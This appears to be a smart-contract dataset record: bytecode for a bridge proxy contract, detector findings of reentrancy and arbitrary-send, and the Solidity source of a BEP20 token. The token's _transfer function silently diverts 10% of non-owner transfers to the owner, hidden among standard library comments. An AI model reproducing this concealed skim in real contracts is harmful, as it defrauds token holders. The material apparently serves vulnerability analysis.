6415761061483600854610f91565b600160086000828254610627919061205a565b925050819055508080610639906121f6565b915050610600565b505050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600261068261067d610e2b565b610e33565b60ff1610156106c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106bd90611de6565b60405180910390fd5b80600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600361072061071b610e2b565b610e33565b60ff1614610763576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075a90611ee6565b60405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60016107b96107b4610e2b565b610e33565b60ff1610156107fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f490611f06565b60405180910390fd5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e846040518263ffffffff1660e01b81526004016108599190611f46565b60206040518083038186803b15801561087157600080fd5b505afa158015610885573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a99190611840565b905046601160008581526020019081526020016000205414806108df575060006011600085815260200190815260200160002054145b61091e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091590611e86565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff16639418f44c3373ffffffffffffffffffffffffffffffffffffffff1663452140b985878660016040518563ffffffff1660e01b815260040161097a9493929190611f61565b60006040518083038186803b15801561099257600080fd5b505afa1580156109a6573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906109cf919061192d565b6040518263ffffffff1660e01b81526004016109eb9190611d84565b602060405180830381600087803b158015610a0557600080fd5b505af1158015610a19573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3d9190611900565b610a7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7390611e06565b60405180910390fd5b610a868184611183565b816011600085815260200190815260200160002081905550806012600085815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b6002610b07610b02610e2b565b610e33565b60ff161015610b4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4290611de6565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6001610ba0610b9b610e2b565b610e33565b60ff161015610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90611f06565b60405180910390fd5b4660116000848152602001908152602001600020541415610c3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3190611ea6565b60405180910390fd5b610c448183610f91565b806012600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055504660116000848152602001908152602001600020819055505050565b6002610cc4610cbf610e2b565b610e33565b60ff161015610d08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cff90611de6565b60405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6003610d5e610d59610e2b565b610e33565b60ff1614610da1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9890611ee6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e19578173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050610e1457600080fd5b610e26565b610e2483838361143c565b505b505050565b600033905090565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ea4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9b90611da6565b60405180910390fd5b60016000610eb38460006115df565b815260200190815260200160002060009054906101000a900460ff1615610edd5760039050610f54565b60016000610eec8460016115df565b815260200190815260200160002060009054906101000a900460ff1615610f165760029050610f54565b60016000610f258460026115df565b815260200190815260200160002060009054906101000a900460ff1615610f4f5760019050610f54565b600090505b919050565b6001806000610f6884866115df565b815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634f558e79826040518263ffffffff1660e01b8152600401610fea9190611f46565b60206040518083038186803b15801561100257600080fd5b505afa158015611016573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061103a9190611900565b1561107a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107190611e46565b60405180910390fd5b6001600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110ca919061205a565b9250508190555081600d600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e836040518263ffffffff1660e01b81526004016111df9190611f46565b60206040518083038186803b1580156111f757600080fd5b505afa15801561120b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061122f9190611840565b90508273ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461129f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129690611e66565b60405180910390fd5b6000600f600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461134291906120b0565b92505081905550600d600083815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905581600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a481600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6000818473ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016114789190611d17565b60206040518083038186803b15801561149057600080fd5b505afa1580156114a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c89190611a2e565b11611508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ff90611f26565b60405180910390fd5b8373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff1660e01b8152600401611543929190611d5b565b602060405180830381600087803b15801561155d57600080fd5b505af1158015611571573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115959190611900565b6115d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115cb90611dc6565b60405180910390fd5b600190509392505050565b600082826040516020016115f4929190611d32565b60405160208183030381529060405280519060200120905092915050565b82805461161e90612193565b90600052602060002090601f0160209004810192826116405760008555611687565b82601f1061165957805160ff1916838001178555611687565b82800160010185558215611687579182015b8281111561168657825182559160200191906001019061166b565b5b5090506116949190611698565b5090565b5b808211156116b1576000816000905550600101611699565b5090565b60006116c86116c384611fcb565b611fa6565b9050828152602081018484840111156116e4576116e3612300565b5b6116ef848285612160565b509392505050565b600061170a61170584611ffc565b611fa6565b90508281526020810184848401111561172657611725612300565b5b611731848285612151565b509392505050565b60008135905061174881612737565b92915050565b60008151905061175d81612737565b92915050565b6000815190506117728161274e565b92915050565b600082601f83011261178d5761178c6122fb565b5b815161179d8482602086016116b5565b91505092915050565b6000813590506117b581612765565b92915050565b600082601f8301126117d0576117cf6122fb565b5b81356117e08482602086016116f7565b91505092915050565b6000813590506117f881612775565b92915050565b60008151905061180d81612775565b92915050565b6000602082840312156118295761182861230a565b5b600061183784828501611739565b91505092915050565b6000602082840312156118565761185561230a565b5b60006118648482850161174e565b91505092915050565b6000806000606084860312156118865761188561230a565b5b600061189486828701611739565b93505060206118a586828701611739565b92505060406118b6868287016117e9565b9150509250925092565b600080604083850312156118d7576118d661230a565b5b60006118e585828601611739565b92505060206118f6858286016117e9565b9150509250929050565b6000602082840312156119165761191561230a565b5b600061192484828501611763565b91505092915050565b6000602082840312156119435761194261230a565b5b600082015167ffffffffffffffff81111561196157611960612305565b5b61196d84828501611778565b91505092915050565b6000806040838503121561198d5761198c61230a565b5b600061199b858286016117a6565b92505060206119ac85828601611739565b9150509250929050565b600080604083850312156119cd576119cc61230a565b5b600083013567ffffffffffffffff8111156119eb576119ea612305565b5b6119f7858286016117bb565b925050602083013567ffffffffffffffff811115611a1857611a17612305565b5b611a24858286016117bb565b9150509250929050565b600060208284031215611a4457611a4361230a565b5b6000611a52848285016117fe565b91505092915050565b60008060408385031215611a7257611a7161230a565b5b6000611a80858286016117e9565b9250506020611a9185828601611739565b9150509250929050565b60008060408385031215611ab257611ab161230a565b5b6000611ac0858286016117e9565b9250506020611ad1858286016117e9565b9150509250929050565b611ae4816120e4565b82525050565b611af3816120f6565b82525050565b6000611b048261202d565b611b0e8185612038565b9350611b1e818560208601612160565b611b278161230f565b840191505092915050565b611b3b8161213f565b82525050565b6000611b4e602483612049565b9150611b5982612320565b604082019050919050565b6000611b71602c83612049565b9150611b7c8261236f565b604082019050919050565b6000611b94602a83612049565b9150611b9f826123be565b604082019050919050565b6000611bb7602b83612049565b9150611bc28261240d565b604082019050919050565b6000611bda602d83612049565b9150611be58261245c565b604082019050919050565b6000611bfd604983612049565b9150611c08826124ab565b606082019050919050565b6000611c20603983612049565b9150611c2b82612520565b604082019050919050565b6000611c43603483612049565b9150611c4e8261256f565b604082019050919050565b6000611c66603083612049565b9150611c71826125be565b604082019050919050565b6000611c89602d83612049565b9150611c948261260d565b604082019050919050565b6000611cac601b83612049565b9150611cb78261265c565b602082019050919050565b6000611ccf602d83612049565b9150611cda82612685565b604082019050919050565b6000611cf2602483612049565b9150611cfd826126d4565b604082019050919050565b611d1181612135565b82525050565b6000602082019050611d2c6000830184611adb565b92915050565b6000604082019050611d476000830185611adb565b611d546020830184611b32565b9392505050565b6000604082019050611d706000830185611adb565b611d7d6020830184611d08565b9392505050565b60006020820190508181036000830152611d9e8184611af9565b905092915050565b60006020820190508181036000830152611dbf81611b41565b9050919050565b60006020820190508181036000830152611ddf81611b64565b9050919050565b60006020820190508181036000830152611dff81611b87565b9050919050565b60006020820190508181036000830152611e1f81611baa565b9050919050565b60006020820190508181036000830152611e3f81611bcd565b9050919050565b60006020820190508181036000830152611e5f81611bf0565b9050919050565b60006020820190508181036000830152611e7f81611c13565b9050919050565b60006020820190508181036000830152611e9f81611c36565b9050919050565b60006020820190508181036000830152611ebf81611c59565b9050919050565b60006020820190508181036000830152611edf81611c7c565b9050919050565b60006020820190508181036000830152611eff81611c9f565b9050919050565b60006020820190508181036000830152611f1f81611cc2565b9050919050565b60006020820190508181036000830152611f3f81611ce5565b9050919050565b6000602082019050611f5b6000830184611d08565b92915050565b6000608082019050611f766000830187611d08565b611f836020830186611d08565b611f906040830185611adb565b611f9d6060830184611aea565b95945050505050565b6000611fb0611fc1565b9050611fbc82826121c5565b919050565b6000604051905090565b600067ffffffffffffffff821115611fe657611fe56122cc565b5b611fef8261230f565b9050602081019050919050565b600067ffffffffffffffff821115612017576120166122cc565b5b6120208261230f565b9050602081019050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061206582612135565b915061207083612135565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156120a5576120a461223f565b5b828201905092915050565b60006120bb82612135565b91506120c683612135565b9250828210156120d9576120d861223f565b5b828203905092915050565b60006120ef82612115565b9050919050565b60008115159050919050565b600081905061211082612723565b919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600061214a82612102565b9050919050565b82818337600083830152505050565b60005b8381101561217e578082015181840152602081019050612163565b8381111561218d576000848401525b50505050565b600060028204905060018216806121ab57607f821691505b602082108114156121bf576121be61229d565b5b50919050565b6121ce8261230f565b810181811067ffffffffffffffff821117156121ed576121ec6122cc565b5b80604052505050565b600061220182612135565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156122345761223361223f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f476f454163636573733a204e6f205a65726f2041646472657373657320616c6c60008201527f6f77656400000000000000000000000000000000000000000000000000000000602082015250565b7f476f4532305472616e73616374696f6e733a2043616e6e6f742063757272656e60008201527f746c79207472616e736665720000000000000000000000000000000000000000602082015250565b7f476f454163636573733a204f6e6c7920616c6c6f7765642061646d696e73206860008201527f6176652061636365737300000000000000000000000000000000000000000000602082015250565b7f476f4537323150726f78793a2043616e6e6f742073776974636820636861696e60008201527f732063757272656e746c79000000000000000000000000000000000000000000602082015250565b7f476f4537323150726f78793a20546f74616c20616d6f756e7473206d6f72652060008201527f7468616e20726573657276656400000000000000000000000000000000000000602082015250565b7f476f4537323150726f78793a20427269646765206d696e74696e6720646f657360008201527f206e6f7420616c6c6f7720746f6b656e7320746861742061726520616c72656160208201527f6479206d696e7465640000000000000000000000000000000000000000000000604082015250565b7f476f4537323150726f78793a20427269646765206275726e696e6720646f657360008201527f206e6f7420616c6c6f7720756e6f776e656420746f6b656e7300000000000000602082015250565b7f476f4537323150726f78793a205468697320746f6b656e20697320616c72656160008201527f6479206e6f74206f6e207468697320636861696e000000000000000000000000602082015250565b7f476f4537323150726f78793a205468697320746f6b656e20697320616c72656160008201527f6479206f6e207468697320636861696e00000000000000000000000000000000602082015250565b7f476f454163636573733a2054686973206164647265737320697320616c72656160008201527f647920617574686f72697a656400000000000000000000000000000000000000602082015250565b7f476f454163636573733a204b657920706572736f6e206f6e6c792e0000000000600082015250565b7f476f454163636573733a204f6e6c7920616c6c6f77656420636f6e747261637460008201527f7320686176652061636365737300000000000000000000000000000000000000602082015250565b7f476f4532305472616e73616374696f6e733a204e6f20656e6f7567682062616c60008201527f616e636500000000000000000000000000000000000000000000000000000000602082015250565b600381106127345761273361226e565b5b50565b612740816120e4565b811461274b57600080fd5b50565b612757816120f6565b811461276257600080fd5b50565b6003811061277257600080fd5b50565b61277e81612135565b811461278957600080fd5b5056fea26469706673582212204b05ff5cdf496ddb156c5ec29d72efc1a185e204f945fcc9ed8bd4e86dddb56d64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 1,628 |
0xa77768fbcfe812af69ab4c3e1e3f9ef9f5651bfd
|
pragma solidity ^0.5.0;
interface IBEP20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/////////////////////////////////////////
contract Owned {
address public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
owner = newOwner;
emit OwnershipTransferred(owner, newOwner);
}
}
//////////////////////////////
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
//////////////////////////////////
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20Mintable}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}
contract BEP20 is IBEP20,Owned {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `value`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if(sender == owner){
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
}else{
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount.mul(90).div(100));
_balances[owner] = _balances[owner].add(amount.div(10));
}
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Destoys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns(bool success) {
_allowances[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
}
////////////////////////////////////
contract ERC20Detailed is IBEP20,BEP20 {
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
uint256 private _initialSupply;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint8 decimals,uint256 initialSupply) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
_initialSupply = initialSupply;
_totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply
_mint(msg.sender,_totalSupply);
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
}
|
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014f57806318160ddd146101c257806323b872dd146101ed578063313ce5671461028057806370a08231146102b15780638da5cb5b1461031657806395d89b411461036d578063a9059cbb146103fd578063cae9ca5114610470578063dd62ed3e1461057a578063f2fde38b146105ff575b600080fd5b3480156100cb57600080fd5b506100d4610650565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101145780820151818401526020810190506100f9565b50505050905090810190601f1680156101415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015b57600080fd5b506101a86004803603604081101561017257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106f2565b604051808215151515815260200191505060405180910390f35b3480156101ce57600080fd5b506101d7610709565b6040518082815260200191505060405180910390f35b3480156101f957600080fd5b506102666004803603606081101561021057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610713565b604051808215151515815260200191505060405180910390f35b34801561028c57600080fd5b506102956107c4565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102bd57600080fd5b50610300600480360360208110156102d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506107db565b6040518082815260200191505060405180910390f35b34801561032257600080fd5b5061032b610824565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561037957600080fd5b50610382610849565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103c25780820151818401526020810190506103a7565b50505050905090810190601f1680156103ef5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561040957600080fd5b506104566004803603604081101561042057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108eb565b604051808215151515815260200191505060405180910390f35b34801561047c57600080fd5b506105606004803603606081101561049357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156104da57600080fd5b8201836020820111156104ec57600080fd5b8035906020019184600183028401116401000000008311171561050e57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050610902565b604051808215151515815260200191505060405180910390f35b34801561058657600080fd5b506105e96004803603604081101561059d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b51565b6040518082815260200191505060405180910390f35b34801561060b57600080fd5b5061064e6004803603602081101561062257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bd8565b005b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106e85780601f106106bd576101008083540402835291602001916106e8565b820191906000526020600020905b8154815290600101906020018083116106cb57829003601f168201915b5050505050905090565b60006106ff338484610cf1565b6001905092915050565b6000600754905090565b6000610720848484610f72565b6107b984336107b485600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461153190919063ffffffff16565b610cf1565b600190509392505050565b6000600660009054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108e15780601f106108b6576101008083540402835291602001916108e1565b820191906000526020600020905b81548152906001019